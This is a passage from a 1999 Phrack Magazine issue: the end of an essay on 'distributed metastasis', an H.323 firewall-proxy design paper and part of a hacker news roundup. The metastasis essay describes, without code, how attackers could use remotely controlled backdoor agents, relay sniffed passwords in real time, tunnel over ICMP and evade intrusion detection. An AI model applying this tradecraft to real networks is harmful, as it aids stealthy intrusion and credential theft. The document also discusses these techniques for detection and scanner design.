This process is ordinarily executed in a linear way, and is often optimized for speed by utilizing parallel or multi‑threaded program execution.

This linear process can be visualized using a conceptually simplified network topology diagram. Fig 1 shows attacker host A1 "attacking" (i.e. performing the host and/or service detection phases of an attack) against a single target host T1.

A1 ‑‑‑‑‑‑‑> T1

Fig 1. One to One Model

Fig 2 shows attacker host A1 attacking multiple target hosts T1 ... Tn.

A1 ‑‑‑‑‑‑‑> T1

A1 ‑‑‑‑‑‑‑> T2

.

.

.

A1 ‑‑‑‑‑‑‑> Tn

Fig 2. One to Many Model

Note that although the concepts of "one to one", "one to many", etc., are simplistic ‑ they are particularly relevant and important to modeling the network activity generated by an attacker as they metastasize across a network.

II. Server Centricity

Traditional, remote exploitation techniques target a server program by approximating a client because, by definition [10]:

"the client/server message paradigm specifies that a server provides a service that a client may request ... the attacker (client) makes a request (attack) to any server offering the service and may do so at any point."

Server programs typically run with elevated privileges and are therefore advantageous targets for attack; this conveniently maps to the "one to one" and "one to many" models described in I.

III. Attack Chaining

The traditional attack process is often chained from compromised host to host in an attempt to obscure the "real" location of an attacker. Fig 3 shows an attack on target host T1 from attacking host A1 in which the attacker is logically located at host H1, and is connected to A1 through host H2; only the connection from A1 can be "seen" from T1.

H1 ‑‑‑‑‑‑‑> H2 ‑‑‑‑‑‑‑> A1 ‑‑‑‑‑‑‑> T1

Fig 3. Attack Chaining

IV. Latency

Because password sniffer log files are traditionally written to disk, an attacker must return to a compromised host to collect information that could enable the depth of the penetration to be increased.

Similarly, an attacker must return to a compromised host in order to proxy (chain) the attack process.

‑‑‑‑[ Distributed Metastasis

These properties that define the traditional attack paradigm can be evolved.

The core of the distributed metastasis methodology is a desire to utilize the distributed, client/server nature of the modern IP network environment, and to perform a logical automation of the metastasis phase of the traditional attack process.

The impetus for the distributed metastasis approach comes from the observation of commercial "network enabled" security technology.

Manufacturers of security software tools have, in the majority, evolved their products from a stand‑alone model (single host e.g. COPS [11]) to a distributed one ‑ in which multiple embedded agents reside on topologically disparate hosts, and communicate security‑relevant information to a logically centralized "manager". This strategy is advantageous in terms of:

I. Scalability

The agent population is almost certainly fluid in nature ‑ agents can be added and removed over time, but the manager remains constant. This model maps to the most common operating environment ‑ the infrastructure is malleable but the security monitoring function (hopefully) remains stable.

II. Cost of Ownership

The impact of performing a single installation of an agent on a host is less costly over time in both physical and administrative terms than with repeated visitation.

Agents that can be remotely "programmed" (i.e. instructed how to perform) from a remote location enable the function of the security software to be changed more rapidly throughout the enterprise (such as with a security policy change), than with multiple per‑host installations.

III. Coverage

By utilizing multiple automated, semi or fully autonomous agents, that can either be scheduled to perform security analysis regularly or run continuously, the depth of agent coverage is increased, and consequently the probability of detecting anomalous (i.e. security relevant) behavior is increased.

Although security vendors understand the functional requirements associated with large infrastructures in terms of scalability and cost of ownership, these properties have not yet been fully leveraged by the attacker community in extending the traditional attack methodology.

‑‑‑‑[ Properties of Distributed Metastasis

A distributed, agent based approach, can be utilized in the metastasis phase of the traditional attack methodology to reap appreciable benefits for an attacker.

The properties that define distributed metastasis are as follows:

I. Agent Based

The "back door" traditionally installed as part of the consolidation stage is, with distributed metastasis, a remotely controllable agent in a similar vein to those employed by network enabled security tools.

The attacker will never "log in" in the traditionally sense to a compromised host once an agent is installed. This approach brings time saving advantages to an attacker because the log‑file "clean up" operation involved with a conventional login does not have to be repeated ad infinitum.

II. Many to One, Many to Many Model

Whereas the traditional attack paradigm conventionally employs a "one to one" or "one to many" model of information gathering, the use of multiple distributed agents facilitates "many to one" and "many to many" models also.

A custom client can deliver a "task definition" to an agent which defines a host and/or service detection task. An agent can return the results to a client either in (pseudo) real time or on task completion.

For execution of host and service detection techniques that require low‑level packet forgery (e.g. to enable a SYN port scan), the availability of a portable network packet generation library [12] eases the development time required to implement this functionality.

As described in [13], the ability to utilize multiple source hosts for gathering host, service, and network topology information has advantages in the areas of stealth, correlation, and speed.

Fig 4 and Fig 5 illustrate multiple source hosts (agents) used to perform information gathering in "one to many" and "many to many" scenarios respectively:

A1 ‑‑‑‑‑‑‑> T1

A2 ‑‑‑‑‑‑‑> T1

.

.

.

An ‑‑‑‑‑‑‑> T1

Fig 3. Many to One Model

A1 ‑‑‑‑‑‑‑> T1 ... Tn

A2 ‑‑‑‑‑‑‑> T1 ... Tn

.

.

.

An ‑‑‑‑‑‑‑> T1 ... Tn

Fig 5. Many to Many Model

Agents can be remotely programmed either to execute or to forward scan definitions to functionally duplicate the "chaining" present in the traditional attack approach.

Although an agent based approach is not implicitly required for "many to one" and "many to many" models of information gathering, it is made substantially easier through a programmatic approach. The ability of an agent to multiplex scan definitions allows an attacker to have topological control over which links in the network attack‑related network traffic flows.

III. Real Time Monitoring

As described previously, delay exists when an attacker wishes to utilize a compromised host for further attacks and to collect log files from data collection programs such as password sniffers and keystroke recorders.

With a distributed model, collected data such as username/password pairs can be transferred in (pseudo) real time to a remote location, and as shown, this process can be chained through multiple compromised hosts.

Embedded password sniffing functionality could be extended to support regular‑expression style pattern matching which again, because of the benefits of the agent based approach, would be remotely programmable.

Conceptually, there is no limit to the amount or type of data that could be collected and forwarded by agents. Possible areas of interest to an attacker might include patterns of user activity and host and network utilization metrics.

IV. Minimal Footprint

In the traditional attack paradigm (albeit dependent on the "back door" employed), the attacker is exposed to a window of possible detection when the attacker re‑enters a previously compromised host, between a login and the removal of the evidence of the login. With an agent based approach, the consolidation phase need never be repeated after the agent installation.

V. Communication

Covert channels between agents and managers and between agents can be created by utilizing steganography techniques. [14] describes the ubiquitous nature of ICMP network traffic to TCP/IP networks, and that it can subsequently be used to tunnel information which (superficially) appears benign.

By utilizing such a ubiquitous transport, the ability to communicate between widely disparate agents is less likely to be affected by network devices that implement network traffic policy enforcement, e.g. screening routers, firewalls, etc.

Confidentiality and integrity can be added using Cryptography.

VI. Client Centricity

The structure of the traditional attack methodology lends itself to server centric attacks ‑ attacks which attempt to subvert a server by approximating a client. With a distributed approach in which an embedded agent resides on a server, client requests to that server can consequently be intercepted and subverted.

‑‑‑‑[ Monoculture

As described, fundamentally, distributed metastasis advocates an agent based approach. The logical implication is that an attacker must construct a functional agent for each OS variant that is likely to be encountered in the target environment (and which it is considered desirable to compromise). Admittedly, this requires initial time and intellectual investment by an attacker; however, the predominance of "monoculture" IT environments simplifies this task. Also, cross‑platform programming languages such as Java make cross‑platform operability realizable.

In the fields of ecology and biology, "monoculture" refers to the dominance of a single species in an environment ‑ a state considered to be pathologically unstable. Economies of scale make monoculture installations attractive greater short term efficiency is likely to be achieved, and therefore the majority of large organizations tend towards monoculture installations that employ one or two key OS types.

‑‑‑‑[ Internet Worm Analogy

The distributed metastasis approach shares similarities to the propagation method used by the Internet "worm" [15] ‑ the proliferation of remote agents. Once an instance of the Internet worm infected a host, it attempted to communicate with an external entity, although this was later thought to be a deliberate attempt at throwing those people attempting to reverse engineer the worm "off the scent".

A combined attack form in which a worm was used as a vector to seed agents which can then be remotely controlled would increase the speed of penetration, but would likely be less controllable, unless the worm was specifically targeted and rate limited in terms of expansion ‑ perhaps using a "proximity control" mechanism similar to that employed by the SATAN network vulnerability scanner [16].

‑‑‑‑[ A Challenge for State and Event Monitoring

Would todays state and event monitoring tools detect a distributed metastasis attack? Clearly, the answer is dependent on the proliferation, sophistication, and configuration of those tools within the target environment.

If an attacker can compromise a host and remove evidence of the attack, state monitoring tools will not detect the hostile activity if it falls between those scheduled times when the tool performs its sweep. Host based IDS, dependent on the exploitation and privilege escalation method used by an attacker, may detect the attack. Clearly therefore, a combination of state monitoring and real time state monitoring (a.k.a. intrusion detection) tools should both be employed within a technical security architecture.

"Many to Many" and "Many to One" attacks are less likely to be detected by network based intrusion detection systems (N‑IDS) than with a linear model. The techniques described in [17] can be implemented to assist evasion of N‑IDS.

As discussed, with an agent based approach, once an agent is installed and hidden, the intrusion is less likely to be detected than with continual re‑visitation of a host (e.g. with Telnet) as in the traditional attack methodology. If an agent can be installed and hidden, if it is not detected at an early stage it is unlikely to be discovered from that point forward.

For "open source" OS' (e.g. OpenBSD, Linux, etc.) an agent could even be incorporated into the kernel itself. Similarly, any OS that enables loading of run‑time kernel modules could be compromised in this way.

Polymorphic techniques could perhaps be implemented to increase the complexity of detection (cf. polymorphic strains of virus).

‑‑‑‑[ A New Architecture for Vulnerability Scanning

There exists several advantages in using a distributed agent model for commercial vendors of network vulnerability scanning technology. A distributed model would enable localized 'zones of authority' (i.e. delegation of authority), would facilitate information gathering behind NAT (and firewalls, where configured), and overcome network topology specific bandwidth restrictions.

Information chaining would enable the construction of a hierarchical reporting and messaging hierarchy, as opposed to the "flat" hierarchy implemented in the majority of tools today.

At this time I am aware of no commercial (or free) vulnerability scanners that employ a distributed architecture as described.

‑‑‑‑[ Conclusion

Although some notable remotely programmable embedded agents exist [14] [18] [19], they have not been fully utilized in continuation of the remote attack paradigm.

Considerable benefits exist for an attacker in utilizing a distributed penetration methodology, centered on an agent based approach; these benefits are not dissimilar to the benefits available through the use of distributed, as opposed to static, security state and event monitoring tools.

Distributed metastasis is, in comparison to the traditional attack paradigm, a non‑trivial methodology for computer penetration, the advantages of which are likely only to be considered worth the expenditure in effort by a small minority of skilled attackers; however, strategically ‑ those advantages could be significant.

‑‑‑‑[ References

[1] William R. Cheswick & Steven M. Bellovin, "Firewalls and Internet Security", Addison‑Wesley, 1994.

[2] Andrew J. Stewart, "Evolution in Network Contour Detection", 1999.

[3] Roland J. Schemers III, "fping", Stanford University, 1992.

[4] Michael Schiffman & David Goldsmith, "Firewalking ‑ A Traceroute‑Like Analysis of IP Packet Responses to Determine Gateway Access Control Lists", Cambridge Technology Partners, 1998. www.packetfactory.net.

[5] David C. M. Wood, Sean S. Coleman, & Michael F. Schwartz, "Fremont: A System for Discovering Network Characteristics and Problems", University of Colorado, 1993.

[6] Merit GateD Consortium, "ripquery ‑ query RIP gateways", 1990‑1995, www.gated.org.

[7] Daniel V. Klein, "Foiling the Cracker; A Survey of, and Improvements to Unix Password Security", Proceedings of the 14th DoE Computer Security Group, 1991.

[8] Aleph One, "Smashing The Stack For Fun And Profit", Phrack Magazine, Volume 7, Issue 49, File 14 of 16, 1996, www.phrack.com.

[9] Dan Farmer & Wietse Venema, "Improving the Security of Your Site by Breaking Into it", 1993, www.fish.com.

[10] Michael D. Schiffman, Index, Phrack 53, Volume 8, Issue 53, Article 01 of 15, 1998, www.phrack.com.

[11] Dan Farmer, "COPS", 1989, www.fish.com.

[12] Michael D. Schiffman, "Libnet", 1999, www.packetfactory.net.

[13] Stephen Northcutt, "SHADOW Indications Technical Analysis ‑ Coordinated Attacks and Probes", Navel Surface Warfare Center, 1998.

[14] Michael D. Schiffman, "Project Loki", Phrack 49, File 06 of 16, 1996, www.phrack.com.

[15] Eugene H. Spafford, "The Internet Worm Program: An Analysis", Purdue University, 1988.

[16] Dan Farmer & Weitse Venema, "SATAN", 1995, www.fish.com.

[17] Thomas H. Ptacek & Timothy N. Newsham, "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection", Secure Networks Inc, 1998.

[18] Cult of the Dead Cow, "Back Orifice 2000 (a.k.a. BO2K)", 1999, www.bo2k.com.

[19] Greg Hogland et al, 1999, www.rootkit.com.

H.323 Firewall Security Issues

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 17 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Alternative Thinking in H.323 Capable Firewall Design ]

‑‑‑‑‑‑‑‑[ Dan Moniz <dnm@neith.net> ]

To wit:

"Thus it is said that one who knows the enemy and knows himself will not be endangered in a hundred engagements. One who does not know the enemy but knows himself will sometimes be victorious, sometimes meet with defeat. One who knows neither the enemy nor himself will invariably be defeated in every engagement"

‑ Sun Tzu

Chou Dynasty, Warring States period of China (circa 403 BC).

"If your own power of insight is strong, the state of affairs of everything will be visible to you. Once you have obtained complete independent mastery of martial arts, you will be able to figure out the minds of opponents and thus find many ways to win. This demands work."

‑ Shinmen Musashi no Kami, Fujiwara no Genshin (Miyamoto Musashi) Tokugawa Era, Third Tent Government of Japan (circa 1643 AD).

"Better one blow with a pickax than a thousand taps with a mattock."

‑ Tran Thai Tong (first king of the Tran Dynasty)

Tran Dynasty of Vietnam (1225‑1400 AD)

Abstract:

This paper illustrates some basics about the H.323 standard, then touches on H.323 security in the context of network mapping, and posits a possible solution, and then compares it with other existing ideas, and ends by developing a basic idea framework for said solution.

Extended Abstract:

Using H.323 applications leads to severe firewall security and scalability issues on all sides. This paper describes a compromise solution, between using HFCI (a one‑time Internet Draft work‑in‑progress [now since expired]) and a generic but equally function solution such as SOCKS. The prime points focused upon include network disclosure and fundamental access control, as well as managing the very complicated nature of H.323 connections and contents. The paper finishes by presenting an annotated reference list and encourages the reader to investigate further into the issue. The author also proposes to develop the proxy noted in the paper and set‑up his goals for the project, with source code and other notes to be released at a later date in a follow‑up paper.

Introduction:

H.323, an ITU‑T standard, is the dominant standard for Voice‑over‑IP (VoIP) that the telecommunications community is considering to build IP based data networks for telephony. The multiplexing ability, the self‑healing nature of IP networks, and the potential for new value‑add services are the main reasons telephony is being merged into the data sphere.

All IP networks are insecure. Because of the ease in which rouge elements could be introduced, open network designs are obviously not feasible. Closed network designs also benefit no one, especially when using H.323 since the standard is very intensive in the number of connections and the care with which they must be handled.

Further information about H.323 is available in the resources we denote at the end of this paper. We assume a basic familiarity with the standard and common implementations and H.323 applications.

Issue:

H.323 is very port intensive, necessitating four UDP streams (two for RTP and two for RTCP), and also has specific guidelines for which ports these have to be. The RTP ports must be adjacent even numbered ports, while the RTCP must be adjacent odd numbered ports. These streams are also very ephemeral, so maintaining correct state is a large issue with the UDP end. H.323 also has TCP connections involved with the H.323 call setup and associated parts of the call.

This standard was never intended to connect large scale networks, handle issues of local number portability, or to interconnect to untrusted networks. When an untrusted network is used in an H.323 peering context, care must be taken to note that dial plans are encoded in ASN.1, and the IP network architecture must be communicated to every gateway and gatekeeper that will be receiving and controlling calls. For a paranoid RBOC or LEC, this is unacceptable. Therefore, NAT and ASN.1 cleansing must be performed. A viable way to perform accounting of CDR, as well as VAS must be taken into account, but it is out the scope of this paper.

Common solutions for H.323 involved opening all UDP ports, obviously a very scary situation. In 1997, Intel wrote a whitepaper (noted in the bibliography) which expresses the issues involved in proxying H.323 in an effective, secure fashion. Recently, an Internet Draft authored by S. Mercer and A. Molitor along with M. Hurry and T. Ngo described the H.323 Firewall Control Interface (HFCI). This Internet Draft expired in June 1999, and it was referenced here only as a work once in progress.

The HFCI posed the idea of developing a generic API for proxying H.323 in a specialized H.323 Gateway system. The overall idea was to develop the HFCI in such a way that H.323 would be able to open up "pinholes" in the firewall rather than necessitating an all‑open state on all UDP ports.

Current research and thought into the issue with people in the industry points to a growing deprecation of HFCI as a specialized proxy solution and using something more generic like SOCKS, since the design of HFCI replicates much of SOCKS functionality.

The author poses the idea that a gateway more in the style of FWTK is an agreeable and arguably more manageable solution than either a customized interface or a generic use proxy solution. The advantages to this model, later explained in detail in this paper, include a compromise between a completely generic solution and tailored gateway, easy integration with existing firewall installations, and retention of central control.

Synthesis:

Having said the above, a (very) brief explanation is needed. As D. Brent Chapman and Elizabeth D. Zwicky illustrate on pp. 200‑205 of _Building Internet Firewalls_, some specific differences exist between SOCKS and FWTK style proxying systems. For the purpose of this paper, it is assumed that the details of the proposed HFCI project replicate much of SOCKS' functionality applied to a specific environ (that of H.323 and pals), which is what research and current discussion with industry engineers suggests.

Furthermore, some are of the belief that an RFC standard like SOCKS benefits H.323 in a more direct fashion, seeing no need for a specialized stand‑alone solution, and that SOCKS is malleable enough to handle H.323 with a minimum of hassle.

This is sound thinking. Organizations running SOCKS based proxies could integrate H.323 applications into their enterprise without having to support an entirely new product or interface. By using existing standards, a lot of the overhead is cut down, with the trade off of a little custom configuration.

Returning to the differences inherent in SOCKS and FWTK, the following comparative checklist is provided:

> SOCKS is a generic serv‑all solution. Every SOCKS‑ified client runs through the SOCKS proxy and connects to the server at the backend.

> FWTK uses multiple, smaller, application‑specific proxies. Clients connect to their respective FWTK proxy and then connect to the server at the backend.

> SOCKS relies on modified client code for use with SOCKS.

> FWTK provides (out‑of‑box) the ability to use modified client code or modified user procedures for some of the common applications (such as FTP) and specifies one or the other for other (such as modified user procedures only with telnet).

> SOCKS is an RFC standard

> FWTK is an unsupported toolkit distributed under a liberal license from TIS.

There are other differences as well ‑‑ the reader is encouraged to download freely available copies of both systems and tinker.

The idea is that H.323 lends itself to a FWTK style application gateway; that is, a gateway could be coded to fit into the FWTK in such a way as to support H.323. This provides some considerable benefits over using either HFCI or SOCKS:

> FWTK has established the philosophy that a small, provably secure proxy for each common service works well.

> FWTK's methodology provides for a easily managed firewall setup. HFCI is a completely new interface, while FWTK and it's commercial derivative, Gauntlet, have been tested in the field.

> Load balancing systems could be put in place to have multiple‑system firewalls. Since the FWTK construction is to have an application specific gateway rather than a generic catch‑all gateway, one could implement a number of machines, one handling each particular application and its proxy. This would especially make sense in large organizations who have to field a large amount of H.323 traffic.

> FWTK could be implemented on both (all) ends of the network. Incoming proxies can hand off traffic to the important internal H.323 infrastructure which in turn could hand off the "finished product", such as it is, to outgoing only proxies (although this is not necessarily a FWTK specific idea, and could be applied to SOCKS).

> FWTK's model leans itself to central control, but also to survivability and fault tolerance. Having a "one proxy to one app" structure ensures that should, say, ftp‑gw go down, h323‑gw (hypothetical name) would stay up.

> FWTK promotes a specialized focus in each gateway by the fact that it uses the "one proxy to one app" method. This means that a highly effective proxy could be coded to support H.323 in the most efficient manner possible, which was one of the goals of the HFCI proposal, and still integrate nicely with common firewall solutions, which is behind the drive to use SOCKS.

Issues such as the ability to do the required on‑the‑fly packet destruction/reconstruction to avoid network disclosure are addressed in this paper only in the context that the proposed FWTK‑model proxy solution will accomplish this goal, given fast enough hardware and optimized routines. The real bottleneck here is in the packet engine. SOCKS also provides this ability. Hardware issues and the amount of projected traffic are the main variables.

The author believes, however, that this proposal shows an acceptable compromise between adopting a completely new and specialized interface (such as HFCI) and a overly generic solution (SOCKS) whilst still staying within the bounds of traditional firewall methodology.

A project is underway now between the author of this paper and a valued colleague to develop the solution proposed in this paper and to test it to see if the assumptions made above hold true. Barring licensing restrictions and the expanse of time, a new paper will be published disclosing the project's results and any new findings, along with the source code to the proposed proxy at the conclusion of the endeavor.

As always, comments are welcomed and encouraged on this work and on the idea in general.

Caveats:

This paper does not touch on such other standards competing with H.323 such as SIP. While research was indeed conducted on SIP and other related standards/protocols, they remain outside the scope of this paper. SIP may very well be a better choice for those who wish to enter the world of VoIP services. The author encourages all readers to research the field and develop their own solutions.

This paper does not expressly touch on the issue of full network disclosure, one of the bigger concerns when using H.323. The reader is directed to the reference list for suitable material. Having said that, the dual gateway architecture (one handling in traffic and one handling out traffic) lends itself easily to suffice in this concern. Again, the main problem is in handling the ASN.1 issue, and its lack of fixed byte offsets. The author suspects this becomes a larger issue only in high‑yield situations, and that new packet engines are being developed to optimize performance as well as correctness which will work to make this less of a concern.

References:

1. _H.323 Peering Proxies_ by Kiad <cameo@kiad.net>

(URL: http://neith.net/h.323/kiad/proxies.txt)

This paper lays the groundwork for the network disclosure issue and also explains the troubles with ASN.1. Kiad was originally contacted to co‑author this paper, but elected to aid the author with supplementary research and act as a sounding board, which proved invaluable. Kiad also contributed by lending her expertise to some of the material above. Without her, this paper would not exist. This work is dedicated to her ‑‑ thank you so much, Kiad.

2. _Building Internet Firewalls_ by D. Brent Chapman and Elizabeth D. Zwicky.

(ISBN: 1‑56592‑124‑0)

Used as a canonical reference for the differences between SOCKS and FWTK. Unwittingly served as impetus for the FWTK model idea.

3. _The Problems and Pitfalls of Getting H.323 Safely Through Firewalls_ by Intel.

(URL: http://support.intel.com/support/videophone/trial21/h323_wpr.htm)

(URL: ftp://ftp.intel.com/pub/H.323/DOCS/h323_and_firewalls_wp.doc)

(Also: http://support.intel.com/support/videophone/trial21/h323faq.htm)

Preliminary whitepaper describing the core issues with H.323 and interaction with firewalls.

4. _H.323 Firewall Control Interface (HFCI)_ by S. Mercer, et. al. (I‑D title: <draft‑rfced‑info‑mercer‑00.txt>

Please note that this I‑D expired in June of 1999 and is referred to here only as a work once in progress, not as an official standard.

5. The _Art of War_ by Sun Tzu (translated by Ralph D. Sawyer) (ISBN: 0‑8133‑1951‑X)

6. _The Book of Five Rings_ by Miyamoto Mushashi (translated by Thomas Cleary) (ISBN: 0‑87773‑868‑8)

7. _Zen Keys_ by Thich Nhat Hanh

(ISBN: 0‑385‑47561‑6)

Inspirational materials, all worth reading.

‑‑‑‑[ EOF

Phrack World News

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 17 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K W O R L D N E W S ]

‑‑‑‑‑‑‑‑[ disorder <jericho@attrition.org> ]

Like I said in Phrack 54, the increase of news on the net, security, hackers and other PWN topics, it is getting more difficult to keep Phrack readers informed of everything. To combat this problem, PWN will include more articles, but only relevant portions (or the parts I want to make smart ass remarks about). If you would like to read the full article, look through the ISN (InfoSec News) archives located at:

http://www.landfield.com/isn/

If you would like timely news delivered with less smart ass remarks, you can always subscribe to ISN by mailing listserv@securityfocus.com with

'subscribe isn firstname lastname'

in the body of your mail. Another excellent source of daily news is the Hacker News Network (HNN @ www.hackernews.com).

The news included in here are events that occured since the previous edition of Phrack World News (Phrack Magazine V. 8, #54, Dec 25th, 1998. ISSN 1068‑1035).

If you feel the need to send me love letters, please cc: mcintyre@attrition.org and tell him to "get jiggy on your wiggy". If you would like to mail my cat, don't, he hates you because you are pathetic. Meow.

This installment of PWN is dedicated to Federal Agents of Diminished Mental Capacity, stupid little kids running canned scripts for lack of real skill .. err 'hackers', and blatant stupidity. This issue was brought to you by the letters F, U, C, K, O and F.

‑‑‑‑‑‑‑‑[ Issue 55

0x01: State of Defacements

0x02: L.A. district attorney drops Mitnick case

0x03: Mitnick sentenced, ordered to pay $4,125

0x04: Clinton forms security panel

0x05: Bill reopens encryption access debate

0x06: The Hacker Hoax

0x07: Israeli Teen Finds Web Full of Security Holes

0x08: Hotmail Hackers: 'We Did It'

0x09: Scientists crack Net security code

0x0a: NSA Lures Hackers

0x0b: Army to offer 'information survival' training

0x0c: Clinton To Use hackers Against Yugoslav leader

0x0d: Hack attack knocks out FBI site

0x0e: White House threatens to punish hackers

0x0f: MS Refutes Windows 'Spy Key'

0x10: Teens plead innocent in hacking case

0x01>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

State of Defacements

Attrition

09.01.99

As of 09.01.99, the following statistics and information has been generated based on the mirrors of defaced web sites kept at www.attrition.org/mirror/attrition/

The word 'fuck' occured 1269 times in 584 out of 2145 mirrors dating back to 95.06.12. 337 defaced pages have linked to or greeted 'attrition', the largest mirror of defacements. Shortly after the Columbine shooting, 37 defacements made reference to the incident. To date, 31 defacements have made reference to Serbia.

Average number of website defacements per day since 99.01.01: 3.0. Average number of website defacements per day since 99.02.01: 2.5. Average number of website defacements per day since 99.03.01: 4.0. Average number of website defacements per day since 99.04.01: 8.9. Average number of website defacements per day since 99.05.01: 12.7. Average number of website defacements per day since 99.06.01: 10.4. Average number of website defacements per day since 99.07.01: 10.6. Average number of website defacements per day since 99.08.01: 10.3.

Total website defacements in 1995: 4

Total website defacements in 1996: 18

Total website defacements in 1997: 39

Total website defacements in 1998: 194

Total website defacements in 1999: 1905

Since 08.01.99

# of BSDi : 13 # of FreeBSD : 9

# of HP/UX : 1 # of IRIX : 11

# of Linux : 71 # of OSF1 : 3

# of SCO : 2 # of Solaris : 78

# of Win‑NT : 109

Since 95.06.12

com: 1052net: 124

org: 140mil: 52

gov: 121

The past year has seen many high profile sites defaced. Among them: C‑Span (www.c‑span.org), EBay (www.ebay.com), ABC News (www.abc.com), Symantec (www.symantec.com), The White House (www.whitehouse.gov), The Senate (www.senate.gov), GreenPeace (www.greenpeace.org), US Information Agency (www.usia.gov), MacWeek (www.macweek.com), HotBot (www.hotbot.com), Wired (www.wired.com), and more. Among the armed forces, all branches including the Coast Guard have experienced at least one defacement.

0x02>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

L.A. district attorney drops Mitnick case http://www.zdnet.com/zdnn/stories/news/0,4586,2310792,00.html?chkpt=hpqs014

August 6, 1999

Deputy district attorney says state case was 'mischarged' ‑‑ clears way for Mitnick halfway house plea.

[snip...]

In 1993, the district attorney charged Mitnick with one count of illegally accessing a Department of Motor Vehicles computer and retrieving confidential information. The problem with that charge is that Mitnick, posing as a Welfare Fraud investigator, simply picked up a telephone on Dec. 24, 1992, and duped an employee accessing the DMV computer for him.

"Since Mitnick did not personally connect to the DMV computer, but either he or someone else communicated with the DMV technician via a telephone conversation," Bershin wrote in his motion to dismiss the case, "it would be difficult to prove that Mitnick gained entry to the DMV computer, or that he instructed or communicated with the logical, arithmetical or memory function resources of the DMV computer."

[snip...]

0x03>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mitnick sentenced, ordered to pay $4,125

August 10, 1999 11:55 AM ET http://www.zdnet.com/pcweek/stories/news/0,4153,1015902,00.html

LOS ANGELES ‑‑ Four years, five months and 22 days after it began, The United States vs. Kevin Mitnick ended Monday when U.S. District Court Judge Marianna Pfaelzer sentenced the hacker to 46 months in prison. Mitnick was also ordered to pay $4,125 in restitution ‑‑ a fraction of the $1.5 million federal prosecutors sought.

With credit for good behavior, Mitnick could be free by January 2000. Once released, the hacker is ordered not to touch a computer or cellular telephone without the written approval of his probation officer.

Mitnick is also immediately eligible for release to a halfway house at the discretion of the Bureau of Prisons, although the judge recommended he serve the remainder of his sentence in prison.

Mitnick pleaded guilty on March 26 to seven felonies, and admitted to cracking computers at cellular telephone companies, software manufacturers, ISPs and universities, as well as illegally downloading proprietary software from some of the victim companies.

[snip...]

0x04>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Clinton forms security panel

AUGUST 2, 1999 http://www.fcw.com/pubs/fcw/1999/0802/fcw‑polsecurity‑08‑2‑99.html

President Clinton last month signed an executive order to create the National Infrastructure Assurance Council, the final organization to be established as part of an overall structure to protect the critical infrastructure of the United States against cyberterrorism and other attacks.

[Very timely...]

The council will be made up of 30 people from federal, state and local governments, as well as the private sector. As outlined in the May 1998 Presidential Decision Directive 63, its main purpose is to enhance and continue to develop the partnership between the public and private sector on initiatives already in place. This includes the Information Sharing and Analysis Centers (ISACs) that are being set up across the country to exchange information about vulnerabilities, cyberattacks and intrusions.

[So by the time this council is created, people elected, everything setup.. This is slightly amusing considering the vice‑president created the Internet. *smirk*]

[snip...]

0x05>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bill reopens encryption access debate

AUGUST 16, 1999 http://www.fcw.com/pubs/fcw/1999/0816/fcw‑newsencrypt‑08‑16‑99.html

Renewing efforts to allow law enforcement agencies to access and read suspected criminals' encrypted electronic files, the Clinton administration has drafted a bill that would give those agencies access to the electronic "keys" held by third parties.

The Cyberspace Electronic Security Act, the drafting of which is being led by the Office and Management and Budget and the Justice Department, "updates law enforcement and privacy rules for our emerging world of widespread cryptography," according to an analysis accompanying the bill obtained by Federal Computer Week.

[Oh yeah, this is them figuring a way to keep our best interests in mind! Let law enforcement have access to everything, because they are always good and honorable.]

[snip...]

0x06>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Hacker Hoax

August 18, 1999 http://www.currents.net/newstoday/99/08/18/news3.html

The world's press might have been fooled into believing that a Chinese hacker group plans to bring down the country's information infrastructure. According to stories that began circulating in July last year, the rogue group, the Hong Kong Blondes, is made up of dissidents both overseas and within the Chinese Government.

The rumours began when an interview with the group's leader was published by US hacking group the Cult of the Dead Cow (CDC) at http://www.cultdeadcow.com . In the interview, illusive Hong Kong Blondes

director Blondie Wong said that he had formed an organization named the Yellow Pages, which would use information warfare to attack China's information infrastructure.

The group threatened to attack both Chinese state organizations and Western companies investing in the country. For their part, the CDC claimed that they would train the Hong Kong Blondes in encryption and intrusion techniques.

One year after the group's supposed launch, there is no evidence that the Hong Kong Blondes ever existed. In fact, all evidence appears to indicate that the Hong Kong Blondes report was a highly successful hoax.

[snip...]

0x07>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Israeli Teen Finds Web Full of Security Holes

August 17, 1999 http://www.internetnews.com/intl‑news/print/0,1089,6_184381,00.html

[Westport, CT] An independent consultant in Israel has released the results of one of the first exhaustive surveys of Internet security, hoping to provide a wake‑up call for Internet companies.

With the help of a piece of homemade scanning software, Liraz Siri probed nearly 36 million Internet hosts worldwide over a period of eight months. Siri and his program, the Bulk Auditing Security Scanner or BASS, went looking specifically for UNIX systems that were vulnerable to 18 widely known security vulnerabilities ‑‑ holes for which vendors have already released patches and other fixes.

[snip...]

0x08>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hotmail Hackers: 'We Did It'

